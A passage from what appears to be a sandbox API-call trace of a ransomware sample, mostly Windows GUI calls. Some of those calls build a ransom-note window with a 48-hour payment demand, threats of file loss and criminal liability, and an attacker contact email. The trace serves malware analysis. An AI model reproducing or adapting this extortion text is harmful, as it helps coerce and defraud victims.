hWnd=0x800b0, lpRect=0x19e3fc | out: lpRect=0x19e3fc) returned 1 [0154.593] GetWindowRect (in: hWnd=0x800b0, lpRect=0x19e3fc | out: lpRect=0x19e3fc) returned 1 [0154.593] GetParent (hWnd=0x800b0) returned 0x8004e [0154.593] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19e3fc, cPoints=0x2 | out: lpPoints=0x19e3fc) returned -16187697 [0154.593] GetParent (hWnd=0x800b0) returned 0x8004e [0154.593] GetWindow (hWnd=0x800b0, uCmd=0x3) returned 0x50210 [0154.593] GetFocus () returned 0x1023e [0154.593] IsChild (hWndParent=0x800b0, hWnd=0x1023e) returned 0 [0154.593] GetParent (hWnd=0x800b0) returned 0x8004e [0154.593] GetWindowLongW (hWnd=0x800b0, nIndex=-20) returned 0 [0154.593] DestroyWindow (hWnd=0x800b0) returned 1 [0154.593] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0154.593] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0x210, wParam=0xb00002, lParam=0x800b0) returned 0x0 [0154.593] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.593] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x46, wParam=0x0, lParam=0x19e66c) returned 0x0 [0154.594] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e374 | out: lpRect=0x19e374) returned 1 [0154.594] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.594] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.594] GetSystemMetrics (nIndex=42) returned 0 [0154.594] GetWindowTextW (hWnd=0x8004e, lpString=0x19e254, nMaxCount=1) [0154.594] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0154.594] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.594] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.594] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.594] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.594] SaveDC (hdc=0x10105d6) returned 1 [0154.594] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.594] CreateSolidBrush (color=0x323533) returned 0x6310071f [0154.594] FillRect (hDC=0x10105d6, lprc=0x19e11c, hbr=0x6310071f) returned 1 [0154.595] DeleteObject (ho=0x6310071f) returned 1 [0154.595] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.596] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0154.596] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.597] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.597] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Support2:", dwStyle=0x5600000d, X=475, Y=426, nWidth=110, nHeight=24, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.597] SetWindowLongW (hWnd=0x900b0, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.597] GetWindowLongW (hWnd=0x900b0, nIndex=-4) returned 1876339648 [0154.598] SetWindowTextW (hWnd=0x900b0, lpString="Support2:") [0154.600] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0154.600] GetCurrentObject (hdc=0x1b01019f, type=0x1) returned 0xb00017 [0154.601] GetCurrentObject (hdc=0x1b01019f, type=0x2) returned 0x900010 [0154.601] GetCurrentObject (hdc=0x1b01019f, type=0x7) returned 0x49050719 [0154.601] GetCurrentObject (hdc=0x1b01019f, type=0x6) returned 0x8a01c2 [0154.601] SaveDC (hdc=0x1b01019f) returned 1 [0154.601] GetNearestColor (hdc=0x1b01019f, color=0x323533) returned 0x323533 [0154.601] CreateSolidBrush (color=0x323533) returned 0x6410071f [0154.601] FillRect (hDC=0x1b01019f, lprc=0x19dbf4, hbr=0x6410071f) returned 1 [0154.601] DeleteObject (ho=0x6410071f) returned 1 [0154.601] RestoreDC (hdc=0x1b01019f, nSavedDC=-1) returned 1 [0154.601] GetWindowTextLengthW (hWnd=0x8004e) [0154.601] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0154.601] GetCurrentObject (hdc=0x1b01019f, type=0x1) returned 0xb00017 [0154.601] GetCurrentObject (hdc=0x1b01019f, type=0x2) returned 0x900010 [0154.601] GetCurrentObject (hdc=0x1b01019f, type=0x7) returned 0x49050719 [0154.601] GetCurrentObject (hdc=0x1b01019f, type=0x6) returned 0x8a01c2 [0154.601] SaveDC (hdc=0x1b01019f) returned 1 [0154.601] GetNearestColor (hdc=0x1b01019f, color=0x323533) returned 0x323533 [0154.602] CreateSolidBrush (color=0x323533) returned 0x6510071f [0154.602] FillRect (hDC=0x1b01019f, lprc=0x19db94, hbr=0x6510071f) returned 1 [0154.602] DeleteObject (ho=0x6510071f) returned 1 [0154.602] RestoreDC (hdc=0x1b01019f, nSavedDC=-1) returned 1 [0154.602] GetWindowTextLengthW (hWnd=0x8004e) [0154.607] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.607] GetCurrentObject (hdc=0x1c01019f, type=0x1) returned 0xb00017 [0154.607] GetCurrentObject (hdc=0x1c01019f, type=0x2) returned 0x900010 [0154.607] GetCurrentObject (hdc=0x1c01019f, type=0x7) returned 0x49050719 [0154.607] GetCurrentObject (hdc=0x1c01019f, type=0x6) returned 0x8a01c2 [0154.607] SaveDC (hdc=0x1c01019f) returned 1 [0154.607] GetNearestColor (hdc=0x1c01019f, color=0x323533) returned 0x323533 [0154.607] CreateSolidBrush (color=0x323533) returned 0x6610071f [0154.607] FillRect (hDC=0x1c01019f, lprc=0x19dbb4, hbr=0x6610071f) returned 1 [0154.607] DeleteObject (ho=0x6610071f) returned 1 [0154.607] RestoreDC (hdc=0x1c01019f, nSavedDC=-1) returned 1 [0154.607] GetWindowTextLengthW (hWnd=0x8004e) [0154.607] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.607] GetCurrentObject (hdc=0x1c01019f, type=0x1) returned 0xb00017 [0154.607] GetCurrentObject (hdc=0x1c01019f, type=0x2) returned 0x900010 [0154.607] GetCurrentObject (hdc=0x1c01019f, type=0x7) returned 0x49050719 [0154.607] GetCurrentObject (hdc=0x1c01019f, type=0x6) returned 0x8a01c2 [0154.607] SaveDC (hdc=0x1c01019f) returned 1 [0154.607] GetNearestColor (hdc=0x1c01019f, color=0x323533) returned 0x323533 [0154.608] CreateSolidBrush (color=0x323533) returned 0x6710071f [0154.608] FillRect (hDC=0x1c01019f, lprc=0x19db54, hbr=0x6710071f) returned 1 [0154.608] DeleteObject (ho=0x6710071f) returned 1 [0154.608] RestoreDC (hdc=0x1c01019f, nSavedDC=-1) returned 1 [0154.608] GetWindowTextLengthW (hWnd=0x8004e) [0154.608] IsChild (hWndParent=0x501fe, hWnd=0x1023e) returned 0 [0154.608] GetParent (hWnd=0x501fe) returned 0x8004e [0154.608] GetWindowLongW (hWnd=0x501fe, nIndex=-20) returned 512 [0154.609] DestroyWindow (hWnd=0x501fe) returned 1 [0154.609] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0154.609] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.609] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.609] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.609] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.609] SaveDC (hdc=0x1e0106e1) returned 1 [0154.609] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.609] CreateSolidBrush (color=0x323533) returned 0x6810071f [0154.609] FillRect (hDC=0x1e0106e1, lprc=0x19e11c, hbr=0x6810071f) returned 1 [0154.610] DeleteObject (ho=0x6810071f) returned 1 [0154.610] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.611] GetCurrentActCtx (in: lphActCtx=0x19e700 | out: lphActCtx=0x19e700*=0xef1264) returned 1 [0154.611] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.612] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.612] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="suporthermes@cock.li", dwStyle=0x560100c1, X=196, Y=422, nWidth=230, nHeight=30, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.612] SetWindowLongW (hWnd=0x601fe, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0154.612] GetWindowLongW (hWnd=0x601fe, nIndex=-4) returned 1876218976 [0154.614] SetWindowTextW (hWnd=0x601fe, lpString="suporthermes@cock.li") [0154.616] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d70c | out: lpRect=0x19d70c) returned 1 [0154.616] GetCurrentObject (hdc=0x1d01019f, type=0x1) returned 0xb00017 [0154.616] GetCurrentObject (hdc=0x1d01019f, type=0x2) returned 0x900010 [0154.616] GetCurrentObject (hdc=0x1d01019f, type=0x7) returned 0x49050719 [0154.616] GetCurrentObject (hdc=0x1d01019f, type=0x6) returned 0x8a01c2 [0154.616] SaveDC (hdc=0x1d01019f) returned 1 [0154.616] GetNearestColor (hdc=0x1d01019f, color=0x323533) returned 0x323533 [0154.616] CreateSolidBrush (color=0x323533) returned 0x6910071f [0154.616] FillRect (hDC=0x1d01019f, lprc=0x19d5ac, hbr=0x6910071f) returned 1 [0154.616] DeleteObject (ho=0x6910071f) returned 1 [0154.616] RestoreDC (hdc=0x1d01019f, nSavedDC=-1) returned 1 [0154.616] GetWindowTextLengthW (hWnd=0x8004e) [0154.616] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d6ac | out: lpRect=0x19d6ac) returned 1 [0154.616] GetCurrentObject (hdc=0x1d01019f, type=0x1) returned 0xb00017 [0154.617] GetCurrentObject (hdc=0x1d01019f, type=0x2) returned 0x900010 [0154.617] GetCurrentObject (hdc=0x1d01019f, type=0x7) returned 0x49050719 [0154.617] GetCurrentObject (hdc=0x1d01019f, type=0x6) returned 0x8a01c2 [0154.617] SaveDC (hdc=0x1d01019f) returned 1 [0154.617] GetNearestColor (hdc=0x1d01019f, color=0x323533) returned 0x323533 [0154.617] CreateSolidBrush (color=0x323533) returned 0x6a10071f [0154.617] FillRect (hDC=0x1d01019f, lprc=0x19d54c, hbr=0x6a10071f) returned 1 [0154.617] DeleteObject (ho=0x6a10071f) returned 1 [0154.617] RestoreDC (hdc=0x1d01019f, nSavedDC=-1) returned 1 [0154.617] GetWindowTextLengthW (hWnd=0x8004e) [0154.620] IsChild (hWndParent=0x70044, hWnd=0x1023e) returned 0 [0154.620] GetParent (hWnd=0x70044) returned 0x8004e [0154.620] GetWindowLongW (hWnd=0x70044, nIndex=-20) returned 0 [0154.620] DestroyWindow (hWnd=0x70044) returned 1 [0154.621] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0154.621] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.621] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.621] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.621] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.621] SaveDC (hdc=0x1e0106e1) returned 1 [0154.621] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.621] CreateSolidBrush (color=0x323533) returned 0x6b10071f [0154.621] FillRect (hDC=0x1e0106e1, lprc=0x19e11c, hbr=0x6b10071f) returned 1 [0154.621] DeleteObject (ho=0x6b10071f) returned 1 [0154.622] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.623] GetCurrentActCtx (in: lphActCtx=0x19e724 | out: lphActCtx=0x19e724*=0xef1264) returned 1 [0154.623] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.623] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.623] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Support1:", dwStyle=0x5600000d, X=83, Y=426, nWidth=110, nHeight=24, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) [0154.624] SetWindowLongW (hWnd=0x80044, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0154.624] GetWindowLongW (hWnd=0x80044, nIndex=-4) returned 1876339648 [0154.625] SetWindowTextW (hWnd=0x80044, lpString="Support1:") [0154.628] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0154.628] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.628] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.628] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.628] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.628] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcf4 | out: lpRect=0x19dcf4) returned 1 [0154.628] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.628] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.628] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.629] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.629] SaveDC (hdc=0x10105d6) returned 1 [0154.629] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.629] CreateSolidBrush (color=0x323533) returned 0x6d10071f [0154.629] FillRect (hDC=0x10105d6, lprc=0x19db94, hbr=0x6d10071f) returned 1 [0154.629] DeleteObject (ho=0x6d10071f) returned 1 [0154.629] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.629] GetWindowTextLengthW (hWnd=0x8004e) [0154.632] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd14 | out: lpRect=0x19dd14) returned 1 [0154.632] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.632] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.632] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.632] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.632] SaveDC (hdc=0x10105d6) returned 1 [0154.632] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.632] CreateSolidBrush (color=0x323533) returned 0x6e10071f [0154.632] FillRect (hDC=0x10105d6, lprc=0x19dbb4, hbr=0x6e10071f) returned 1 [0154.632] DeleteObject (ho=0x6e10071f) returned 1 [0154.632] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.632] GetWindowTextLengthW (hWnd=0x8004e) [0154.633] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dcb4 | out: lpRect=0x19dcb4) returned 1 [0154.633] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.633] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.633] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.633] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.633] SaveDC (hdc=0x10105d6) returned 1 [0154.633] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.633] CreateSolidBrush (color=0x323533) returned 0x6f10071f [0154.633] FillRect (hDC=0x10105d6, lprc=0x19db54, hbr=0x6f10071f) returned 1 [0154.633] DeleteObject (ho=0x6f10071f) returned 1 [0154.633] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.633] GetWindowTextLengthW (hWnd=0x8004e) [0154.638] IsChild (hWndParent=0x80016, hWnd=0x1023e) returned 0 [0154.638] GetParent (hWnd=0x80016) returned 0x8004e [0154.638] GetWindowLongW (hWnd=0x80016, nIndex=-20) returned 512 [0154.638] DestroyWindow (hWnd=0x80016) returned 1 [0154.638] GetClientRect (in: hWnd=0x8004e, lpRect=0x19e27c | out: lpRect=0x19e27c) returned 1 [0154.639] GetCurrentObject (hdc=0x10105d6, type=0x1) returned 0xb00017 [0154.639] GetCurrentObject (hdc=0x10105d6, type=0x2) returned 0x900010 [0154.639] GetCurrentObject (hdc=0x10105d6, type=0x7) returned 0x400506ef [0154.639] GetCurrentObject (hdc=0x10105d6, type=0x6) returned 0x8a01c2 [0154.639] SaveDC (hdc=0x10105d6) returned 1 [0154.639] GetNearestColor (hdc=0x10105d6, color=0x323533) returned 0x323533 [0154.639] CreateSolidBrush (color=0x323533) returned 0x7010071f [0154.639] FillRect (hDC=0x10105d6, lprc=0x19e11c, hbr=0x7010071f) returned 1 [0154.639] DeleteObject (ho=0x7010071f) returned 1 [0154.639] RestoreDC (hdc=0x10105d6, nSavedDC=-1) returned 1 [0154.640] CoTaskMemAlloc (cb=0x548) returned 0xf6b958 [0154.640] GetWindowTextW (hWnd=0x80016, lpString=0xf6b958, nMaxCount=674) [0154.640] CoTaskMemFree (pv=0xf6b958) [0154.640] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x1 [0154.640] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0154.641] GetCurrentActCtx (in: lphActCtx=0x19e700 | out: lphActCtx=0x19e700*=0xef1264) returned 1 [0154.641] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0154.642] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0154.642] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r11_ad1", lpWindowName="Good day!!!\r\n\r\nAll files on your computer are encrypted.\r\nDecoding files is only possible with our help !!!\r\n\r\nYou need to pay within 48 hours to decrypt your\r\nfiles in accordance with the tariff of your country.\r\nTariffs are indicated in the window from the left !!!\r\nAnd contact us after paying for your individual decryption key by contact below:\r\n\r\nIf this does not happen then after 72 hours all your files will be lost.\r\nIn addition, we use your computer in their illegal actions.\r\nAnd how much your computer is bought by you and in accordance with your legislation\r\ncountry is your property.\r\nAnd you will be criminally responsible for our actions)))\r\n\r\nHurry to pay", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x8004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x90016 [0154.642] SetWindowLongW (hWnd=0x90016, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0154.642] GetWindowLongW (hWnd=0x90016, nIndex=-4) returned 1876218976 [0154.642] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x81, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.643] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x83, wParam=0x0, lParam=0x19e10c) returned 0x0 [0154.644] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x1, wParam=0x0, lParam=0x19e120) returned 0x1 [0154.645] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x7c, wParam=0xfffffff0, lParam=0x19db0c) returned 0x0 [0154.645] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x7d, wParam=0xfffffff0, lParam=0x19db0c) returned 0x1 [0154.654] GetWindow (hWnd=0x90016, uCmd=0x3) returned 0x80044 [0154.654] GetClientRect (in: hWnd=0x90016, lpRect=0x19dde0 | out: lpRect=0x19dde0) returned 1 [0154.654] GetWindowRect (in: hWnd=0x90016, lpRect=0x19dde0 | out: lpRect=0x19dde0) returned 1 [0154.654] GetParent (hWnd=0x90016) returned 0x8004e [0154.654] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19dde0, cPoints=0x2 | out: lpPoints=0x19dde0) returned -16187697 [0154.654] SendMessageW (hWnd=0x90016, Msg=0x30, wParam=0x8f0a068c, lParam=0x0) returned 0x1 [0154.654] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x30, wParam=0x8f0a068c, lParam=0x0) returned 0x1 [0154.656] SetWindowTextW (hWnd=0x90016, lpString="Good day!!!\r\n\r\nAll files on your computer are encrypted.\r\nDecoding files is only possible with our help !!!\r\n\r\nYou need to pay within 48 hours to decrypt your\r\nfiles in accordance with the tariff of your country.\r\nTariffs are indicated in the window from the left !!!\r\nAnd contact us after paying for your individual decryption key by contact below:\r\n\r\nIf this does not happen then after 72 hours all your files will be lost.\r\nIn addition, we use your computer in their illegal actions.\r\nAnd how much your computer is bought by you and in accordance with your legislation\r\ncountry is your property.\r\nAnd you will be criminally responsible for our actions)))\r\n\r\nHurry to pay") returned 1 [0154.656] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xc, wParam=0x0, lParam=0x2fe0884) returned 0x1 [0154.657] GetSystemMetrics (nIndex=5) returned 1 [0154.657] GetSystemMetrics (nIndex=6) returned 1 [0154.657] SendMessageW (hWnd=0x90016, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0154.657] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0154.657] GetWindowTextLengthW (hWnd=0x90016) returned 673 [0154.657] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2a1 [0154.657] SendMessageW (hWnd=0x90016, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0154.657] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xb1, wParam=0x0, lParam=0x0) returned 0x1 [0154.657] SendMessageW (hWnd=0x90016, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0154.657] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0154.658] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x5, wParam=0x0, lParam=0x13d0258) returned 0x1 [0154.658] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0154.658] GetClientRect (in: hWnd=0x90016, lpRect=0x19de38 | out: lpRect=0x19de38) returned 1 [0154.658] GetWindowRect (in: hWnd=0x90016, lpRect=0x19de38 | out: lpRect=0x19de38) returned 1 [0154.658] GetParent (hWnd=0x90016) returned 0x8004e [0154.659] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de38, cPoints=0x2 | out: lpPoints=0x19de38) returned -16187697 [0154.659] SendMessageW (hWnd=0x90016, Msg=0x2210, wParam=0x160001, lParam=0x90016) returned 0x0 [0154.659] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x2210, wParam=0x160001, lParam=0x90016) returned 0x0 [0154.659] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0154.659] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x46, wParam=0x0, lParam=0x19e134) returned 0x0 [0154.659] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0154.659] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.659] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.660] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d804 | out: lpRect=0x19d804) returned 1 [0154.660] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.660] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.660] GetSystemMetrics (nIndex=42) returned 0 [0154.660] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d6e4, nMaxCount=1 | out: lpString="") returned 0 [0154.660] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d6e4) returned 0x0 [0154.660] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d70c | out: lpRect=0x19d70c) returned 1 [0154.660] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.660] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.660] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.660] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.660] SaveDC (hdc=0x1e0106e1) returned 1 [0154.660] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.660] CreateSolidBrush (color=0x323533) returned 0x7110071f [0154.660] FillRect (hDC=0x1e0106e1, lprc=0x19d5ac, hbr=0x7110071f) returned 1 [0154.660] DeleteObject (ho=0x7110071f) returned 1 [0154.660] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.660] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.660] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.660] GetSystemMetrics (nIndex=42) returned 0 [0154.660] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d684, nMaxCount=1 | out: lpString="") returned 0 [0154.660] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d684) returned 0x0 [0154.661] GetClientRect (in: hWnd=0x8004e, lpRect=0x19d6ac | out: lpRect=0x19d6ac) returned 1 [0154.661] GetCurrentObject (hdc=0x1e0106e1, type=0x1) returned 0xb00017 [0154.661] GetCurrentObject (hdc=0x1e0106e1, type=0x2) returned 0x900010 [0154.661] GetCurrentObject (hdc=0x1e0106e1, type=0x7) returned 0x400506ef [0154.661] GetCurrentObject (hdc=0x1e0106e1, type=0x6) returned 0x8a01c2 [0154.661] SaveDC (hdc=0x1e0106e1) returned 1 [0154.661] GetNearestColor (hdc=0x1e0106e1, color=0x323533) returned 0x323533 [0154.661] CreateSolidBrush (color=0x323533) returned 0x7210071f [0154.661] FillRect (hDC=0x1e0106e1, lprc=0x19d54c, hbr=0x7210071f) returned 1 [0154.661] DeleteObject (ho=0x7210071f) returned 1 [0154.661] RestoreDC (hdc=0x1e0106e1, nSavedDC=-1) returned 1 [0154.661] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0154.661] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0154.661] GetSystemMetrics (nIndex=42) returned 0 [0154.661] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19d684, nMaxCount=1 | out: lpString="") returned 0 [0154.661] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19d684) returned 0x0 [0154.663] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0154.663] SetTextColor (hdc=0x1e0106e1, color=0x0) returned 0x0 [0154.663] SetBkColor (hdc=0x1e0106e1, color=0xffffff) returned 0xffffff [0154.663] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x90016, Msg=0x47, wParam=0x0, lParam=0x19e134) returned 0x0 [0154.664] GetClientRect (in: hWnd=0x90016, lpRect=0x19de08 | out: lpRect=0x19de08) returned 1 [0154.664] GetWindowRect (in: hWnd=0x90016, lpRect=0x19de08 | out: lpRect=0x19de08) returned 1 [0154.664] GetParent (hWnd=0x90016) returned 0x8004e [0154.664] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x8004e, lpPoints=0x19de08, cPoints=0x2 | out: lpPoints=0x19de08) returned -16187697 [0154.664] GetParent (hWnd=0x90016) returned 0x8004e [0154.664] GetParent (hWnd=0x90016) returned 0x8004e [0154.664] SetParent (hWndChild=0x2020e, hWndNewParent=0x8004e) returned 0x1023c [0154.664] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x18, wParam=0x0, lParam=0x0) returned 0x0 [0154.668] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x46, wParam=0x0, lParam=0x19e77c) returned 0x0 [0154.668] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, 